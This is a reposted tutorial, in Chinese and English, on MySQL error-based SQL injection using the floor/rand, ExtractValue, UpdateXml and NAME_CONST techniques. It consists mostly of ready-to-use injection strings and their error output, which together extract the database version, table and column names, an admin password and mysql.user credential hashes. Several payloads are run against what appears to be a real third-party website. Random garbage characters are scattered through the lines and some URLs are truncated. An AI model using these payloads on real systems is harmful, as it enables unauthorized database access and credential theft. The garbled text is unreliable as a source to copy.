mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
5 X, ~- P8 M% o: B0 }. Z|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
+ i* w. ]7 a  v& MERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
& O0 R; `: x. |# U& B6 Y' s
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

% g# m  v( P' u0 p) W3 Bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
0 H& e+ e' ~, z+ _+ B* A
6 G" s  s5 P! p9 k# qErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
* k6 n, o$ o, L1 I- K0 g  a: }

2 j7 \5 O* T  e$ v" ^相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
/ B) z& y' Z7 h2 m/ d
3 K* F9 Z, v6 BCode:
NAME_CONST(DATA, VALUE)
% U7 k. }% \0 l
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

2 N5 s5 f3 w+ h5 `" iSELECT NAME_CONST('TEST', 1)

" S3 H( A2 Y& G( t
" q, f# t: V! c# S* H
* V) r9 ?. `/ l, k|---------------|
|     TEST      |
8 }8 R% y+ S% N/ S7 t: e|               |
|---------------|
6 `, V, Z6 f0 A. }2 z' n|       1       |
|               |
) V( T$ v0 R% W9 a|---------------|
/ ]' D. t2 v+ P+ s% O
2 ]" S. v& i" c' M0 i
1 u) L# ]$ H8 W5 h. W6 z! d, [
3 j: c6 R" B% o8 M2 r( I: s
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
5 J/ s7 x1 B. j' {) E+ ?% FIntro to MySQL Variables
' U/ L0 B. I) a2 K% b
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
4 c5 N% v! A; O- U
Code:
( I, V8 ~) w  Z( B$ J& v4 r% Xhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
, C1 u* j# a  a


% s8 M4 \" |7 ]! G( n; o
* |7 A  t) k# \  G
. Q% J7 C  @( |5 e( @8 B9 nCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


0 W3 G" W5 p6 _  k0 d8 G( jVAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
  s8 u6 Y8 Z+ t' d& c+ n. i; L( x
' S; w2 u$ @, g) W. XLet's try it out on my site..

, V8 y! `5 N) H7 T8 yCode:
$ q, o( ]4 x) p6 y! X* Khttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
6 K% Q9 t  i4 u+ K
+ W- ]6 f3 K' hErroruplicate column name '5.0.27-community-nt'
# ?( l% T+ @2 p: d% x8 k



6 `0 d! W+ M# e+ {. r- a
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

Code:
) m# |3 t* ?: ?& U+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

  }* U: F1 }2 E5 V4 }2 V+ O
We should get a duplicate column 1 error...
% P4 ?. i9 c  w) l$ `- E
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

; Z3 O7 @2 R/ n/ B3 c8 {7 BErroruplicate column name '1

& U9 k/ F; _- u8 ]. Z3 i7 y2 l/ d


% L9 b" j. `, w- r/ m+ @* {

3 O- q# ~$ U6 g% G, @( C- n0 ?/ C/ L- aNow let's get the tables out this bitch..

4 N- W+ {' V. R/ G# K) bCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
0 n9 z. a. ?8 J; I- ?7 `) @% L' b
. B0 n! u6 X( R' r( e; i
Let's see if it works here, if it does, we can go on and finish the job.
  ^6 ~2 G# p0 r  R: g8 w
, u2 ]3 C: Q: N' V+ d- _, _Code:
6 c. b! V# I2 y2 ~- @, qhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
# E3 D( F3 j! V+ t2 d
. P/ N+ S& X5 r, k7 a
Erroruplicate column name 'com_admanage


0 k, {0 V' G$ t! h+ k/ o/ X" Y
+ |; ^3 _$ Y, v4 m/ Y0 [0 D# I# M

$ i% k8 ^- \- ?3 @; }( u- o  L
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
( h9 k: A; |2 |; u/ M2 a
" ~* \- G* k2 ~$ B5 x- T$ ^) dLet's get the columns out of the user table..
& z2 M5 n1 r7 l3 v: J
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this, and I get the duplicate column name 'Host'.

Code:
' y6 ?$ u# i/ w/ r' zhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
/ ]# p! s: U/ H' s( V
' r5 f" S% U0 U' M( z  CErroruplicate column name 'Host'
- S6 T1 \# }+ S) k



# O/ S! _* [& I
' @3 a9 b% ?& y) ~- i8 l
. B! a# N( [3 \: e- ~' s0 a7 ?Woot, time to finish this bitch off.
1 u. P" y' \: ]1 J. y/ u" q4 ~
- Y" z- k' Z; ?# _4 i; RCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
$ V) Y. P/ k8 R1 k9 t

So mine looks like this...

Code:
# F3 J* x+ b7 S" A2 p) Khttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
) s. A8 ^4 j& M. r$ x/ c' i
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'


; \8 G7 o. a! W$ O  ~0 Y9 t
& \$ ^2 R. M+ }6 J. G

- M* s6 C0 E6 `* N9 W
+ O; K& W, ]) O( D  K& x2 a# BAnd there we have it, thanks for reading.
8 F# \0 o' o4 n2 p4 R+ h